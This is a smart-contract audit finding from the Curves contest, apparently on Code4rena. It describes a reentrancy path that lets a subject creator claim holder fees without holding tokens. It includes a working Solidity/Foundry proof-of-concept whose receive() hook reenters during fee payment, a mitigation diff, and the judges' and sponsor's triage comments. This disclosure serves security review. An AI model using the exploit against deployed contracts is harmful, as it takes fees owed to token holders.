code-423n4 / 2024-01-curves-findings

1 stars 0 forks source link

A subject creator within a single block can claim holder fees without holding due to unprotected reentrancy path #386

Open c4-bot-10 opened 10 months ago

c4-bot-10 commented 10 months ago

Lines of code

https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/Curves.sol#L236-L241 https://gist.github.com/nuthan2x/bb0ecf745abfdc37ce374f6af0d83699#L17 https://github.com/code-423n4/2024-01-curves/blob/516aedb7b9a8d341d0d2666c23780d2bd8a9a600/contracts/FeeSplitter.sol#L80

Vulnerability details

Impact

Proof of Concept

    bool claimThisTime; // claim once every two buy/sell transactions of the subject (reduce gas usage)
    bool holderFeeClaimOn; // dont do any reentrancy when holder fees are received, but reenter on only subject fee receiving time.

///////////////////////// POC //////////////////////////////////////////////

    function test_Attack_POC() public {
        deal(address(feeSplitter), 1 ether);

        // subject creator buying 10 more curves
        uint amountToSend = curves.getBuyPrice(address(CREATOR), 10) * 2;
        deal(address(this), amountToSend);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 10);

        // subject creator minting external tokens and supplies it to some uniswap pool or locked in bridge
        uint mintAmount = curves.curvesTokenBalance(address(CREATOR), address(this));
        if(mintAmount > 1) curves.withdraw(address(CREATOR), mintAmount - 1); // tokens locking

        // claiming till now, to prove that this below attack is possible
        uint claimable = feeSplitter.getClaimableFees(address(CREATOR), address(this));
        holderFeeClaimOn = true;
        if(claimable > 0) feeSplitter.claimFees(address(CREATOR));
        holderFeeClaimOn = false;

        // normal user buying 200 curves
        amountToSend = curves.getBuyPrice(address(CREATOR), 200) * 2;
        deal(address(NORMAL_USER), amountToSend);
        vm.prank(NORMAL_USER);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 200);

        // normal user buying 200 curves
        amountToSend = curves.getBuyPrice(address(CREATOR), 200) * 2;
        deal(address(NORMAL_USER), amountToSend);
        vm.prank(NORMAL_USER);
        curves.buyCurvesToken{value : amountToSend}(address(CREATOR), 200);
    }

    receive() external payable {
        if(holderFeeClaimOn) return;

        (, , address externalToken) = curves.externalCurvesTokens(address(CREATOR));
        claimThisTime = !claimThisTime;

        if(externalToken != address(0) && claimThisTime == true) {
            uint burnAmount = CurvesERC20(externalToken).balanceOf(address(this));  //  tokens unlocking
            if(burnAmount > 0) curves.deposit(address(CREATOR), burnAmount);

            uint claimable = feeSplitter.getClaimableFees(address(CREATOR), address(this));
            if(claimable > 0) {
                holderFeeClaimOn = true;
                feeSplitter.claimFees(address(CREATOR));
                holderFeeClaimOn = false;
            } 

            uint mintAmount = curves.curvesTokenBalance(address(CREATOR), address(this));
            if(mintAmount > 1) curves.withdraw(address(CREATOR), mintAmount - 1); // mintAmount tokens locking again, after claiming
        }
    }

Tools Used

Manual review and forge testing

Recommended Mitigation Steps

function _transferFees(
        address curvesTokenSubject,
        bool isBuy,
        uint256 price,
        uint256 ,
        uint256 
    ) internal {
        (uint256 protocolFee, uint256 subjectFee, uint256 referralFee, uint256 holderFee, ) = getFees(price);
        {
            bool referralDefined = referralFeeDestination[curvesTokenSubject] != address(0);
            {
                address firstDestination = isBuy ? feesEconomics.protocolFeeDestination : msg.sender;
                uint256 buyValue = referralDefined ? protocolFee : protocolFee + referralFee;
                uint256 sellValue = price - protocolFee - subjectFee - referralFee - holderFee;
                (bool success1, ) = firstDestination.call{value: isBuy ? buyValue : sellValue}("");
                if (!success1) revert CannotSendFunds();
            }
            {
-               (bool success2, ) = curvesTokenSubject.call{value: subjectFee}("");
-               if (!success2) revert CannotSendFunds();
+               payable(curvesTokenSubject).transfer(subjectFee);
            }
            {
-               (bool success3, ) = referralDefined
-                   ? referralFeeDestination[curvesTokenSubject].call{value: referralFee}("")
-                   : (true, bytes(""));
-               if (!success3) revert CannotSendFunds();
+               if(referralDefined) payable(referralFeeDestination[curvesTokenSubject]).transfer(referralFee);
            }

            if (feesEconomics.holdersFeePercent > 0 && address(feeRedistributor) != address(0)) {
                feeRedistributor.onBalanceChange(curvesTokenSubject, msg.sender);
                feeRedistributor.addFees{value: holderFee}(curvesTokenSubject);
            }
        }
    }

Assessed type

Reentrancy

c4-pre-sort commented 10 months ago

raymondfam marked the issue as sufficient quality report

c4-pre-sort commented 10 months ago

raymondfam marked the issue as duplicate of #51

c4-pre-sort commented 10 months ago

raymondfam marked the issue as insufficient quality report

c4-pre-sort commented 10 months ago

raymondfam marked the issue as not a duplicate

c4-pre-sort commented 10 months ago

raymondfam marked the issue as primary issue

raymondfam commented 10 months ago

data.userFeeOffset[account] = data.cumulativeFeePerToken will take care of it when updateFeeCredit() is triggered in claimFees(). You can only do it once. Additionally, this method pales in comparison to the #41 & #222 attacking path.

andresaiello commented 9 months ago

data.userFeeOffset[account] = data.cumulativeFeePerToken will take care of it when updateFeeCredit() is triggered in claimFees().

c4-sponsor commented 9 months ago

andresaiello (sponsor) disputed

c4-judge commented 9 months ago

alcueca marked the issue as satisfactory

c4-judge commented 9 months ago

alcueca marked issue #1211 as primary and marked this issue as a duplicate of 1211

alcueca commented 9 months ago

You can do it once per each buy/sell cycle, as I understand.

c4-judge commented 9 months ago

alcueca marked the issue as selected for report

c4-judge commented 9 months ago

alcueca removed the grade

alcueca commented 9 months ago

Issues related to loss of fees, and not loss of principal, are Medium.

c4-judge commented 9 months ago

alcueca changed the severity to 2 (Med Risk)

andresaiello commented 9 months ago

talked offline with alcueca, looks valid

c4-sponsor commented 9 months ago

andresaiello (sponsor) confirmed